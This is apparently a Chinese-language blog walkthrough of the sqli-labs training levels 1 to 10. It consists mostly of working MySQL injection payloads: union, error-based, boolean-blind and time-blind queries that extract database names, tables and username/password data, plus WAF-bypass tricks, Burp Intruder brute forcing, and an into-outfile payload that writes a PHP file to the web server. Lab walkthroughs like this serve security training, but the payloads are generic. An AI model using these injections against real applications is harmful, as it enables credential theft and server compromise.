SQL注入基本语句
判断有多少列
order by 4 -- -
判断数据显示点
union select 1,2,3 -- -
显示出登录用户和数据库名
union select 1,user(),database() -- -
查看数据库有哪些表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看账号密码信息
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
知识点补充
# POST
--+ GET
/**/ 绕waf
补充一
内联注释符及特性:
/*! code */
内联注释符是一种基于注块注释衍生出来的注释风格,它可以用于整个SQL语句中,用来执行SQL语句,内联注释有个特殊点,和MySQL版本息息相关,也就是:当内联注释中出现小于或等于当前版本号得时候,内联注释符里得子句会被执行,大于时则不会呗执行,注意版本得写法,列如:5.5.34,在内敛注释中写成为50534,版本号第二位加0;
补充二
常见的空格符号:
两个空格代替一个空格,用tab代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ !
Less-1(字符型-闭合 ' )
点击Less-1来到第1关
我们先输入一个 id=1 试着看看
可以看到账号和密码,下面开始SQL注入
判断页面是否存在SQL注入是尝试闭合看看是否会页面报错,下面我们就试试:
?id=1' and 1=1 --+
?id=1' and 1=2 --+
可以看到页面报错了,说明是存在SQL注入的,接下来看看数据库有多少列,可以使用下面两种形式来判断:
1、order by
?id=1' order by 3 --+
?id=1' order by 4 --+
2、union select
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
从上面两种方式都可以判断出数据库是有3列的,然后我们看看页面所显示的 name 和 password 属于数据库中的第几列
?id=-1' union select 1,2,3 --+
从显示结果可以看到,这里的 name 是第2列,password 是第3列。
那么现在就可以从第2列或者第3列查询出数据库名称:
?id=-1' union select 1,database(),3 --+
得到了数据库名 security
利用inforamtion_schema数据库查询出该数据库中所有的表和表中所有的列:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
得到了security数据库中所有的表和users表中所有列名
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,0x3a)),group_concat(concat_ws(0x3a,0x3a,password)) from security.users --+
得到了数据库中的数据就算是成功的注入了,第1关就通关了
Less-2(数字型)
与第一关是大致相同的,这里就直接提供payload
尝试闭合查看是否存在SQL注入
?id=-1'
查看数据库的列数
?id=1 order by 3 --+ //正常
?id=1 order by 4 --+ //报错
查看回显位置
?id=-1 union select 1,2,3 --+
查看数据库名称
?id=-1 union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1 union select 1,group_concat(concat_ws(0x7e,username,0x7e)),group_concat(concat_ws(0x7e,0x7e,password)) from security.users --+
Less-3(字符型-闭合 ') )
尝试闭合
?id=1')
发现是 ') 闭合
查看数据库的列数
?id=1') order by 3 --+ //正常
?id=1') order by 4 --+ //报错
查看回显位置
?id=-1') union select 1,2,3 --+
查看数据库名称
?id=-1') union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1') union select 1,group_concat(concat_ws(0x7e,username,0x7e)),group_concat(concat_ws(0x7e,0x7e,password)) from security.users --+
Less-4(字符型-闭合 ") )
尝试闭合
发现是 ") 闭合,除了闭合和第二、三关不一样,其他都一样,参考第二关的payload即可
查看数据库名称
?id=-1") union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+
Less-5(报错注入-闭合 ' )
与前几关不同,需要利用报错注入才能实现SQL注入,这里先介绍一下报错注入的函数
updatexml()、extractvalue()、exp()、floor()、polygon()、multipoint()
1、updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
2、extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
3、floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
4、exp():指数函数,返回 e 的指定次幂。
5、polygon():用于定义多边形几何形状。
6、multipoint():用于定义多点集合。
判断注入
存在注入,就可以试着判断数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
得到数据库有3列
判断回显位置
无论怎么进行查询,结果都会显示You are in
发现查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
查询数据库名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
PS: select可以省略掉
?id=1' union select updatexml(1,concat(0x7e,(database()),0x7e),1) --+
查询数据库中的表名
单个查询
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
全部查询
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
查询users表下的字段内容
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) --+
查询username字段下数据
?id=1' and updatexml(1,concat(0x7e,( select group_concat(username) from users),0x7e),1) --+
查询users表中所有数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)--+
Less-6(报错注入-闭合" )
尝试闭合后发现存在注入,并且也是报错注入
第6关和第5关除了闭合不一样,其他都一样,参考第5关的payload即可
查询数据库名
?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
PS: select可以省略掉
?id=1" union select updatexml(1,concat(0x7e,(database()),0x7e),1) --+
查询数据库表名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
查询表下字段名
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) --+
查询表中数据
?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)--+
Less-7(文件读写注入)
第7关与前面有点不同,先来试着看是否可以闭合报错
尝试多次发现需要闭合 '))
尝试使用上面的报错注入函数注入一下
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3) --+
还是提示有语法错误
输入为id=1时,页面是这样的
这时候应该使用输入输出文件
into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt'
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的绝对路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务器的目录中
?id=1')) union select 1,'<?phpinfo();?>',3 into outfile 'D:\\App\\phpStudy_64\\phpstudy_pro\\WWW\\pikachu-master\\aaa.php' --+
Less-8(布尔盲注-闭合')
不断尝试可以使用 ')) 来闭合,但是它却没有报错
如果传入的id为1,则会显示
针对这种的显示,无论是联合查询还是报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据,并且我们可以使用多种方法来注入: 手工注入和sqlmap工具
利用函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下
?id=1' and (select length(database())>1) and 1=1 --+ //true
?id=1' and (select length(database())>10) and 1=1 --+ //flase
?id=1' and (select length(database())>5) and 1=1 --+ //true
?id=1' and (select length(database())>6) and 1=1 --+ //true
?id=1' and (select length(database())>8) and 1=1 --+ //flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7
得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>200) --+ //flase
...
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>115) --+ //false
根据七七五十六难后,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为 **s ** 。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”
查询数据库的表名
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115 --+
不断尝试后可以得到表名:users
查询表中字段名
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
查询表中数据
id=1' and ascii(substr((select password from security.users limit 0,1),1,1))>100 --+
Burp
由于是布尔注入,也可以使用burp抓包,将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击
?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(8),0)--+
得到数据库名“security”
爆破表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99 --+
爆破字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=99 --+
爆破数据
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=50 --+
Less-9(时间盲注-闭合')
第9关无论怎么查询,结果都是不变的, 布尔盲注也无法解决,这时只能使用时间盲注了,时间盲注就是观察页面的页面响应时间来逐个判断出数据库的各个信息
使用时间盲注的方式也有很多,这里用手工注入进行介绍
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数:
IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
那么可以利用这一点来进行时间盲注
?id=1' and if(length(database())=5,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
8
7
可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))>114,sleep(5),1) --+
?id=1'and if(ascii(substr((select database()),1,1))>115,sleep(5),1) --+
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1) --+
可以看到数据库的第一个字符的ASCII的值为115,对应的是 **s **,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
表名
id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
字段名
id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
字段数据
id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
Less-10(时间盲注-闭合")
和第9关一样,只是闭合变为"
判断数据库名长度
?id=1" and if(length((select database()))>9,sleep(5),1)--+
判断数据库名
id=1" and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
判断数据库中的表名
?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99,sleep(5),1)--+
判断字段名
id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=99,sleep(5),1) --+
判断数据
?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))=50,sleep(5),1)--+
标签:labs,Sqli,master,concat,--+,table,id,select,schema
From: https://blog.csdn.net/a666666688/article/details/141001065